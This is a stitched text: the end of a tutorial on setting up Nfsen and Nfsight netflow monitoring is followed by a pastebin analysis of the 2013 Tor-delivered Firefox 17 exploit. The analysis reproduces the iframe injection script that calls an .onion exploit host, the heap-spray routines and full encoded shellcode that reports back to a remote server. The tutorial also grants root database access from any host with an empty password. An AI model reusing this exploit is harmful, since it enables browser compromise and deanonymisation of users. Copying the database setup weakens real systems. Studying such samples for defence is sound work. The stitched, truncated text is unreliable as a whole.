sudo /var/nfsen/bin/nfsen start

You may notice errors that include pack\_sockaddr\_in6 and
unpack\_sockaddr\_in6; these can be ignored**.**

Run sudo /var/nfsen/bin/nfsen status to ensure that Nfsen is running
properly**.**

**Install the Nfsen init script:**

sudo ln -s /var/nfsen/bin/nfsen /etc/init**.** d/nfsen

sudo update-rc.d nfsen defaults 20

You’re halfway there now**.** Check your Nfsen installation via your browser.

The URL is http://192**.** 168.42.131/nfsen/nfsen.php?tab=0  on my server**.**

**Note:** if you see a backend version mismatch message, incorporate the
changes into nfsen.php as noted in this diff file **.** As data starts coming
in \(you can force this with a ping –t \(Windows\) of your Nfsen collector IP
and/or an extensive Nmap scan\) you should see results similar to those seen
from the Details tab in **Figure 2** \(allow it time to populate\)**.**

<img src='img/Temp2_3941.png' />  
---  
FIGURE 2: Nfsen beginning to render data  
**Install Nfsight, as modified from Steronius ’ Computing Bits \(follow me
explicitly here\):**

cd /usr/local/src

sudo wget "http://sourceforge.net/projects/nfsight/files/latest/download" -O
nfsight.tar**.** gz

sudo tar xvzf nfsight.tar**.** gz

cd nfsight-beta-20130323

sudo cp backend/nfsight**.** pm /var/nfsen/plugins/

sudo mkdir /var/www/html/nfsen/plugins/nfsight

sudo chgrp -R www-data /var/www/nfsen/plugins/nfsight

sudo mkdir /var/www/nfsen/nfsight

sudo cp -R frontend/\* /var/www/nfsen/nfsight/

sudo chgrp -R www-data /var/www/nfsen/nfsight/

sudo chmod g+w /var/www/nfsen/nfsight/

sudo chmod g+w /var/www/nfsen/plugins/nfsight/

sudo chmod g+w /var/www/nfsen/nfsight/cache

sudo chmod g+x /var/www/nfsen/nfsight/bin/biflow2picviz**.** pl

**Create Nfsight database:**

Interchange the root user with an Nfsight database user if you’re worried
about running the Nfsight db with root**.**

mysql -u root –p and enter your MySql root password

mysql> CREATE DATABASE nfsight

mysql> GRANT ALL PRIVILEGES ON nfsight**.** \* TO root@'%' IDENTIFIED BY '';

mysql> grant all privileges on nfsight**.** \* TO root@localhost IDENTIFIED BY
'';

mysql> GRANT ALL PRIVILEGES ON nfsight**.** \* TO 'root'@'%' WITH GRANT
OPTION;

mysql> FLUSH PRIVILEGES;

mysql> quit

Launch the Nfsight web installer; on my server the path is:

http://192**.** 168**.** 42.131/nfsen/nfsight/installer.php

The proper paths for our installation are:

URL = /nfsen/nfsight/

Path to data files = /var/www/nfsen/plugins/nfsight

You may need to edit detail.php to ensure proper paths for grep, cat, and
pcv**.** They should read as follows:

/bin/grep

/bin/cat

/usr/bin/pcv

Edit /var/nfsen/etc/nfsen.conf with settings from the Nfsight installer.php
output as seen in **Figure 3****.**

<img src='img/Temp2_3942.png' />  
---  
FIGURE 3: Configure nfsen.conf for Nfsight  
**Restart Nfsen:**

/var/nfsen/bin/nfsen stop

/var/nfsen/bin/nfsen start

Check status: /var/nfsen/bin/nfsen status

Last step**\!** Install the hourly cronjob required by Nfsight to periodically
update the database:

crontab -e

06 \* \* \* \* /usr/bin/wget \--no-check-certificate -q -O -
http://management:aggregate@127**.** 0.0.1/nfsen/nfsight/aggregate.php

Congratulations, you should now be able to login to Nfsight**\!** The
credentials to login to Nfsight are those you defined when running the Nfsight
installer script \(installer.php\)**.** On my server, I do so at
http://192**.** 168.42.131/nfsen/nfsight/index.php .

**Nfsight in flight**

After all that, you’re probably ready to flame me with a “WTF did you just
make me do, Russ**\!** ” email. I have to live up to being the tool in
toolsmith, right**?** I’m with you, but it will have been worth it, I
promise**.** As flows begin to populate data you’ll have the ability to drill
into specific servers, clients, and services**.** I generated some noisy
traffic against some Microsoft IP ranges that I was already interested in
validating which in turn gave the impression of a host on my network scanning
for DNS servers**.** **Figure 4** show an initial view where my rogue DNS
scanner shows up under Top 20 active internal servers**.**

<img src='img/Temp2_3940.png' />  
---  
FIGURE 4: Nfsight’s Top 20  
You can imagine how, on a busy network, these Top 20 views could be
immediately helpful in identifying evil egress traffic**.** If you click on a
particular IP in a Top 20 view you’ll be treated to service activity in a
given period \(adjustable in three hour increments\)**.** You can then drill
in further by 5 minute increments as seen in Figure 5 where you’ll note all
the IPs my internal hosts was scanning on port 53**.** You can also render a
parallel plot \(courtesy of PicViz installed earlier\)**.** Every IPv4 octet,
port number, and service are hyperlinks to more flow data, so just keep on
clicking**.** When you click a service port number and it offers you
information about a given port, thanks to the SANS Internet Storm Center as
you are directed to the ISC Port Report for that particular service when you
click the resulting graph**.**

See? I told you it would be worth it**.**

<img src='img/Temp2_3939.png' />  
---  
FIGURE 5: Nfsight Activity Overview  
All functionality references are available on the Wiki, must importantly
recognize that the color codes are red for unanswered scanner activity, blue
for client activity, and green for server activity**.**

You can select save this view and create what will then be available as an
event in the Nfsight database**.** I saved one from what you see in **Figure
5** and called it Evil DNS Egress**.** These can then be reloaded by clicking
Events from the upper right-hand corner of the Nfsight UI**.**

Nfsight also includes a flow-based intrusion detection system called Nfids,
still considered a work in progress**.** Nfids will generate alerts that are
stored in a database and aggregated over time, and alerts that are recorded
more than a given number of time are reported to the frontend**.** These
alerts are generated based on five heuristic categories including: malformed,
one-to-many IP, one-to-many port, many-to-one IP, and many-to-one port**.**

You can also manage your Nfsight settings from this region of the application,
including Status, Accounts, Preferences, Configuration, and Logs**.** You can
always get back to the home page by simply clicking Nfsight in the upper-left
corner of the UI**.**

As the feedback on the Nfsight SourceForge site says, “small and efficient and
gets the job done**.** ”

**In Conclusion**

Recall from the beginning of this discussion that I’ve defined C3CM as methods
by which _to identify, interrupt, and counter the command, control, and
communications capabilities of our digital assailants_

Nfsight, as part of our C3CM concept, represents the first step \(and does a
heck of a good job doing it\) of my C3CM process: identify**.** Next month
we’ll discuss the interrupt phase of C3CM using BroIDS and Logstash**.**

Ping me via email if you have questions \(russ at holisticinfosec dot
org\)**.**

Cheers…until next month**.**

**Acknowledgements**

Robin Berthier, Nfsight developer

****

# Javascript Mozilla Pastebin - collaborative debugging tool

**Created:**| _8/6/2013 9:31:19 AM_  
---|---  
**Updated:**| _8/6/2013 9:31:19 AM_  
**Author:**| __  
**Tags:**| _Exploit browser_  
  

# **c** ollaborative debugging tool****

  1. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  2. \* Exploits delivered from through nl7qbezu7pqsuone.onion \(2013-08-03\):
  3. \* The compromised server inserts a run-of-the-mill unobfuscated iframe
  4. \* injection script; others have observed this and samples have been posted**.**
  5. \* The exploit is split across three files and presumably an ultimate
  6. \* payload of malware that was not obtained**.**
  7. // To preserve the JavaScript syntax highlighting, non-JS bits are commented out**.**
  8. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  9. \* A somewhat cleaned up version is presented first, the original exploit
  10. \* as first downloaded follows**.**
  11. \* This appears to be an exploit in the Firefox 17 JS runtime**.** The script
  12. \* does not attempt the exploit unless running on Firefox 17 on Windows**.**
  13. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  14. \* A compromised server inserts a script like the following**.**
  15. \* The XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX is a UUID generated by the server**.**
  16. \* The exploit host will serve the exploit for any UUID, however**.**
  17. \* I used 05cea4de-951d-4037-bf8f-f69055b279bb for this analysis**.**
  18. \* The UUID is embedded in the shellcode**.**
  19. //<script type='text/javascript'>
  20. function createCookie\(name,value,minutes\) \{
  21. if \(minutes\) \{
  22. var date = new Date\(\);
  23. date.setTime\(date.getTime\(\)+\(minutes\*60\*1000\)\);
  24. var expires = "; expires="+date.toGMTString\(\);
  25. else var expires = "";
  26. document.cookie = name+"="+value+expires+"; path=/";
  27. function readCookie\(name\) \{
  28. var nameEQ = name + "=";
  29. var ca = document.cookie.split\(';'\);
  30. for\(var i=0;i < ca.length;i++\) \{
  31. var c = ca\[i\];
  32. while \(c.charAt\(0\)==' '\) c = c.substring\(1,c.length\);
  33. if \(c.indexOf\(nameEQ\) == 0\) return c.substring\(nameEQ.length,c.length\);
  34. return null;
  35. function isFF\(\) \{
  36. return \(document.getBoxObjectFor **\!** = null || window.mozInnerScreenX \!= null || /Firefox/i.test\(navigator.userAgent\)\);
  37. function updatify\(\) \{
  38. var iframe = document.createElement\('iframe'\);
  39. iframe.style.display = "inline";
  40. iframe.frameBorder = "0";
  41. iframe.scrolling = "no";
  42. iframe.src = "http://nl7qbezu7pqsuone.onion**?** requestID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
  43. iframe.height = "5";
  44. iframe.width = "\*";
  45. document.body.appendChild\(iframe\);
  46. function format\_quick\(\) \{
  47. if \( **\!** readCookie\("n\_serv"\) \) \{
  48. createCookie\("n\_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30\);
  49. updatify\(\);
  50. function isReady\(\)
  51. if \( document.readyState === "interactive" || document.readyState === "complete" \) \{
  52. if \( isFF\(\) \) \{
  53. format\_quick\(\);
  54. setTimeout\(isReady, 250\);
  55. setTimeout\(isReady, 250\);
  56. //</script>
  57. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  58. \* The exploit server at nl7qbezu7pqsuone.onion also delivers two supporting
  59. \* pieces that are loaded into their own iframes**.** Since they are short,
  60. \* they are included before the main exploit**.**
  61. \* \(All lines containing HTML are commented out**.**\)
  62. //// "content\_2.html"
  63. // <html><body></body></html>
  64. // <script>
  65. var y="**?****?**??**?** ", url=window.location.href;
  66. if\(0>url.indexOf\(y\)\) \{
  67. var iframe=document.createElement\("iframe"\);
  68. iframe.src="content\_3.html";
  69. document.body.appendChild\(iframe\)
  70. \} else parent**.** w\(\);
  71. function df\(\)\{return parent**.** df\(\)\};
  72. // </script>
  73. //// "content\_3.html"
  74. // <script>
  75. var y="**?****?****?**??",z="<body><img height='1' width='1' src='error.html' onerror=\"javascript: window.location.href='content\_2.html**?****?**??**?** ';\" ></body>",flag=\!1,var83=0;
  76. function b\(\) \{
  77. for\(var e=Array\(1024\),d=Array\(1024\),c=0;1024>c;c++\)
  78. e\[c\]=new ArrayBuffer\(180\);
  79. for\(c=0;1024>c;c++\)
  80. d\[c\]=new Int32Array\(e\[c\],0,45\),d\[c\]\[9\]=var83;
  81. return d
  82. function a\(\) \{
  83. **\!** 1==flag && \(flag=\!0,window.stop\(\)\);
  84. window.stop\(\);
  85. window.parent.frames\[0\].frameElement.ownerDocument.write\(z\);
  86. var83 = parent**.** df\(\);
  87. 0\!=var83 && document.addEventListener\("readystatechange",a,**\!** 1\);
  88. // </script>
  89. //// The main exploit
  90. // <html>
  91. // <body>
  92. // <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
  93. // </body>
  94. // </html>
  95. // <script>
  96. var var1=0xB0;
  97. var var2 = new Array\(var1\); 
  98. var var3 = new Array\(var1\); 
  99. var var4 = new Array\(var1\);
  100. var var5=0xFF004; 
  101. var var6=0x3FC01; 
  102. var var7=0x60000000; 
  103. var var8=0x18000000; 
  104. var var9=1;
  105. var var10 = 0x12000000;
  106. var var11 = 0;
  107. var var12=0; // set in b\(\) if on Firefox 17, read in df\(\)
  108. // exploit will not be attempted unless var12 is set
  109. var var13 =0; 
  110. // top entry point, called as onload handler
  111. function u\(\)
  112. if\( t\(\) == true \)
  113. var9 = 1; 
  114. \}else\{
  115. return ;
  116. function t\(\) // only attempt the exploit once per session
  117. if\(typeof sessionStorage.tempStor **\!** ="undefined"\)
  118. return false;
  119. sessionStorage.tempStor="";
  120. return true;
  121. function b\(\)
  122. var version = al\(\); // ensure Firefox on Windows
  123. if\(version <17\) 
  124. window.location.href="content\_1.html"; 
  125. \} // "content\_1.html" was never obtained
  126. if\( version >=17 && version <18 \)
  127. var12 = 0xE8;
  128. return ;
  129. function aj\(version\) // confirm Windows platform
  130. var i = navigator.userAgent.indexOf\("Windows NT"\);
  131. if \(i **\!** = -1\)
  132. return true;
  133. return false;
  134. function ak\(\) // confirm Firefox browser
  135. var ua = navigator.userAgent;
  136. var browser = ua.substring\(0, ua.lastIndexOf\("/"\)\);
  137. browser = browser.substring\(browser.lastIndexOf\(" "\) + 1\);
  138. if \(browser **\!** = "Firefox"\)
  139. return -1;
  140. var version = ua.substring\(ua.lastIndexOf\("/"\) + 1\);
  141. version = parseInt\(version.substring\(0, version.lastIndexOf\("**.** "\)\)\);
  142. return version;
  143. function al\(\) // get browser version, -1 if not exploitable
  144. version = ak\(\);
  145. if \(**\!** aj\(version\)\)
  146. return -1;
  147. return version;
  148. function d\(\)
  149. for\(var j=0;j<var1;j++\)
  150. if\( j<var1/8 || j==var1-1\)
  151. var tabb = new Array\(0x1ED00\);
  152. var4\[j\]=tabb;
  153. for\(i=0;i<0x1ED00;i++\)
  154. var4\[j\]\[i\]=0x11559944;
  155. var2\[j\]= new ArrayBuffer\(var5\); 
  156. for\(var j=0;j<var1;j++\)
  157. var3\[j\]= new Int32Array\(var2\[j\],0,var6\);
  158. var3\[j\]\[0\]=0x11336688; 
  159. for\(var i=1;i<16;i++\) 
  160. var3\[j\]\[0x4000\*i\] = 0x11446688; 
  161. for\(var j=0;j<var1;j++\)
  162. if\(typeof var4\[j\] **\!** ="undefined"\)
  163. var4\[j\]\[0\]=0x22556611; 
  164. // load the next piece of the exploit
  165. function c\(\)
  166. var iframe=document.getElementById\("iframe"\);
  167. iframe.src="content\_2.html";
  168. // functions below here are called from the other iframes
  169. // df\(\) is passed through content\_2 and used by content\_3
  170. // called nowhere else
  171. // The exploit is not attempted if this returns zero**.**
  172. // Note that var12 will be zero unless on Firefox 17**.**
  173. // The returned value is used as part of a heap spray in content\_3**.**
  174. function df\(\)
  175. if\(var12==0\)
  176. return 0x00000000;
  177. var var14 = var10 + 0x00010000 \* var11 + 0x0000002B;
  178. if\( var9 == 1 || var9 == 2\)
  179. return \( var14 - var12\);
  180. return 0x00000000;
  181. // w\(\) is called from the second time content\_2 is loaded
  182. function w\(\)
  183. if\(var9==1\)
  184. function v\(\)
  185. if\(k\(\) == -1\)
  186. var11 = p\(\);
  187. var9 = 2; 
  188. \}else\{
  189. // This quickly becomes a huge mess that is obviously depending
  190. // on the JS runtime to screw up in some arcane way**.** Little is
  191. // known about the actual exploit, other than some apparent
  192. // shellcode in function f\(\)**.** Here be dragons.
  193. function k\(\)
  194. for\(var j=0;j<var1;j++\)
  195. if\(var2\[j\].byteLength**\!** =var5\)
  196. return j;
  197. return -1;
  198. function p\(\)
  199. for\(var j=0;j<var1;j++\)
  200. for\(var i=1;i<16;i++\)
  201. if\(var3\[j\]\[i\*0x4000-0x02\]==0x01000000\)
  202. return -i;
  203. return 0;
  204. function x\(\)
  205. var var60 = k\(\);
  206. if\(var60==-1\)
  207. return ; 
  208. var nextvar60 = q\(var60\);
  209. if\(nextvar60==-1\)
  210. return ; 
  211. var var61 = o\(var60\);
  212. var var62 = new Int32Array\(var2\[nextvar60\],0,var8\);
  213. var var58 = n\(var62,var61\);
  214. if\(var58==-1\)
  215. return ; 
  216. var var50 = m\(var62,var58\);
  217. var13 = var10 + 0x00100000 + 0x00010000 \* var11; 
  218. e\(var62\);
  219. l\(var62,var58\);
  220. var var64 = var4\[var50\]\[0\];
  221. ac\(var64,var50,var62,var58,var60\);
  222. function q\(var60\)
  223. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  224. view\[0x00100000/4-0x02\]=var7; 
  225. if\(var2\[var60+1\].byteLength==var7\)
  226. return var60+1;
  227. return -1;
  228. function o\(var60\)
  229. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  230. var var59 = view\[0x00100000/4-0x0C\];
  231. var var57 = var10 + 0x00100000 + 0x00010000 \* var11; 
  232. return \(\(var59 - var57\)/4\);
  233. function n\(view,firstvar58\)
  234. var var57 = var10 + 0x00100000 + 0x00010000 \* var11; 
  235. var var58=0;
  236. for\(var i=0;i<200;i++\)
  237. if\(view\[var58\] **\!** = 0x11336688\) 
  238. if\(view\[var58\] == 0x22556611 \) 
  239. return var58;
  240. return -1;
  241. if\(var58==0\)
  242. var58 = firstvar58;
  243. \}else\{
  244. var var59=view\[var58-0x0C\];
  245. var58 = \(var59 - var57\)/4;
  246. return -1;
  247. function m\(view,var58\)
  248. view\[var58\]=0x00000000; 
  249. for\(var j=0;j<var1;j++\)
  250. if\(typeof var4\[j\] **\!** ="undefined"\)
  251. if\(var4\[j\]\[0\]**\!** =0x22556611\) 
  252. return j;
  253. return -1
  254. function e\(view\)
  255. var i=0;
  256. for\(i=0;i<0x400;i++\)
  257. view\[i\] = var13+0x1010 ; 
  258. view\[0x0\]=var13+0x1010; 
  259. view\[0x44\]=0x0; 
  260. view\[0x45\]=0x0; 
  261. view\[0x400-4\]=var13+0x1010; 
  262. view\[0x400\]=0x00004004; 
  263. view\[0x401\]=0x7FFE0300; 
  264. function l\(view,var58\)
  265. view\[var58\] = var13 + 0x1030; 
  266. view\[var58+1\] = 0xFFFFFF85; 
  267. function ac\(var64,var50,var62,var58,var60\)
  268. var var15=ah\(var64\);
  269. f\(var15,var62,var58\);
  270. y\(var50\);
  271. var var66 = aa\(var62,var58+2\);
  272. var var67 = i\(var66,0x40,var50,var62\) ;
  273. j\(var67,var62\);
  274. g\(var50,var62\);
  275. ab\(var13+0x1040 ,var62,var58+2\);
  276. r\(var60\)
  277. setTimeout\(ad,1000\);
  278. z\(var50\);
  279. function ah\(var73\)
  280. var var74 = var73.substring\(0,2\);
  281. var var70 = var74.charCodeAt\(0\);
  282. var var71 = var74.charCodeAt\(1\);
  283. var var75 = \(var71 << 16\) + var70;
  284. if \(var75 == 0\)
  285. var var76 = var73.substring\(32, 34\);
  286. var var70 = var76.charCodeAt\(0\);
  287. var var71 = var76.charCodeAt\(1\);
  288. var75 = \(var71 << 16\) + var70;
  289. var var15 = am\(var75\);
  290. if \(var15 == -1\)
  291. return;
  292. return var15
  293. function am\(var77\)
  294. var var15 = new Array\(2\);
  295. if \(var77 % 0x10000 == 0xE510\) 
  296. var78 = var77 - 0xE510;
  297. var15\[0\] = var78 + 0xE8AE; 
  298. var15\[1\] = var78 + 0xD6EE; 
  299. else if \(var77 % 0x10000 == 0x9A90\) 
  300. var78 = var77 - 0x69A90;
  301. var15\[0\] = var78 + 0x6A063; 
  302. var15\[1\] = var78 + 0x68968; 
  303. else if \(var77 % 0x10000 == 0x5E70\) 
  304. var78 = var77 - 0x65E70;
  305. var15\[0\] = var78 + 0x66413; 
  306. var15\[1\] = var78 + 0x64D34; 
  307. else if \(var77 % 0x10000 == 0x35F3\) 
  308. var78 = var77 - 0x335F3;
  309. var15\[0\] = var78 + 0x4DE13; 
  310. var15\[1\] = var78 + 0x49AB8; 
  311. else if \(var77 % 0x10000 == 0x5CA0\) 
  312. var78 = var77 - 0x65CA0;
  313. var15\[0\] = var78 + 0x66253; 
  314. var15\[1\] = var78 + 0x64B84; 
  315. else if \(var77 % 0x10000 == 0x5CD0\) 
  316. var78 = var77 - 0x65CD0;
  317. var15\[0\] = var78 + 0x662A3; 
  318. var15\[1\] = var78 + 0x64BA4; 
  319. else if \(var77 % 0x10000 == 0x6190\) 
  320. var78 = var77 - 0x46190;
  321. var15\[0\] = var78 + 0x467D3; 
  322. var15\[1\] = var78 + 0x45000; 
  323. else if \(var77 % 0x10000 == 0x9CB9\) 
  324. var78 = var77 - 0x29CB9;
  325. var15\[0\] = var78 + 0x29B83; 
  326. var15\[1\] = var78 + 0xFFC8; 
  327. else if \(var77 % 0x10000 == 0x9CE9\) 
  328. var78 = var77 - 0x29CE9;
  329. var15\[0\] = var78 + 0x29BB3; 
  330. var15\[1\] = var78 + 0xFFD8; 
  331. else if \(var77 % 0x10000 == 0x70B0\) 
  332. var78 = var77 - 0x470B0;
  333. var15\[0\] = var78 + 0x47733; 
  334. var15\[1\] = var78 + 0x45F18; 
  335. else if \(var77 % 0x10000 == 0x7090\) 
  336. var78 = var77 - 0x47090;
  337. var15\[0\] = var78 + 0x476B3; 
  338. var15\[1\] = var78 + 0x45F18; 
  339. else if \(var77 % 0x10000 == 0x9E49\) 
  340. var78 = var77 - 0x29E49;
  341. var15\[0\] = var78 + 0x29D13; 
  342. var15\[1\] = var78 + 0x10028; 
  343. else if \(var77 % 0x10000 == 0x9E69\) 
  344. var78 = var77 - 0x29E69;
  345. var15\[0\] = var78 + 0x29D33; 
  346. var15\[1\] = var78 + 0x10018; 
  347. else if \(var77 % 0x10000 == 0x9EB9\) 
  348. var78 = var77 - 0x29EB9; 
  349. var15\[0\] = var78 + 0x29D83; 
  350. var15\[1\] = var78 + 0xFFC8; 
  351. return -1; 
  352. return var15;
  353. function f\(var15,view,var16\)
  354. var magneto = "";
  355. var magneto = \("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+""\);
  356. var var29 = magneto;
  357. var var17 = "\u9060";
  358. var var18 = "\u9061";
  359. var var19 = "\uC481\u0000\u0008" ; 
  360. var var20 = "\u2589\u3000"+String.fromCharCode\(\(var13 >> 16\) & 0x0000FFFF\); 
  361. var var21="\u258B\u3000"+String.fromCharCode\(\(var13 >> 16\) & 0x0000FFFF\);
  362. var var22 = "\uE589"; 
  363. var var23 ="\uC3C9";
  364. var var24 = "\uE889"; 
  365. var24 += "\u608D\u90C0"; 
  366. var var25 = var10 + 0x00010000 \* var11 + 0x00000030 + 0x00100000;
  367. var var26 = var25 + var16\*4
  368. var var27 =""
  369. var27 += "\uB890\u2020\u2020"; 
  370. var27 += "\uA390"+ae\(var26+0x00\);
  371. var27 += "\uA390"+ae\(var26+0x04\);
  372. var27 += "\uA390"+ae\(var26+0x08\);
  373. var27 += "\uA390"+ae\(var26+0x0C\);
  374. var var28 = var17;
  375. var28 += var20;
  376. var28 += var19;
  377. var28 += var22;
  378. var28 += var27;
  379. var28 += var29;
  380. var28 += var21;
  381. var28 += var18;
  382. var28 += var23;
  383. var var29Array = new Array\(\);
  384. var29Array=ag\(var28\);
  385. var var29Ad = var13+0x5010;
  386. var i=0;
  387. var j=0;
  388. var var30=var13+0x4048;
  389. var var31 = new Array\(\);
  390. var31\[0\]=var30; 
  391. var31\[1\]=var30; 
  392. var31\[2\]=var30; 
  393. var31\[3\]=var15\[1\]; 
  394. var31\[4\]=var29Ad; 
  395. var31\[5\]=0xFFFFFFFF; 
  396. var31\[6\]=var13+0x4044; 
  397. var31\[7\]=var13+0x4040; 
  398. var31\[8\]=0x00000040; 
  399. var31\[9\]=var13+0x4048; 
  400. var31\[10\]=0x00040000; 
  401. var31\[11\]=var29Ad; 
  402. var31\[12\]=var13+0x301C; 
  403. for\(var i=0 ; i < 0x140 ; i++\)
  404. var31\[i+15\]=var15\[0\]; 
  405. var var32 = 0x3F8; 
  406. view\[0x800+0+var32\]=var13+0x4018; 
  407. view\[0x800+1+var32\]=var13+0x4018; 
  408. for\(var i=2 ; i < var31.length ; i++\)
  409. view\[0x800+i+var32\]= 0x41414141; 
  410. for\(var i=0 ; i < var31.length ; i++\)
  411. view\[0xC02+i+var32\]= var31\[i\];
  412. for\(var i=0 ; i < var29Array.length ; i++\)
  413. view\[0x1000 + i+var32\] = var29Array\[i\];
  414. function ae\(int32\)
  415. var var68 = String.fromCharCode\(\(int32\)& 0x0000FFFF\);
  416. var var69 = String.fromCharCode\(\(int32 >> 16\) & 0x0000FFFF\);
  417. return var68+var69;
  418. function af\(string\)
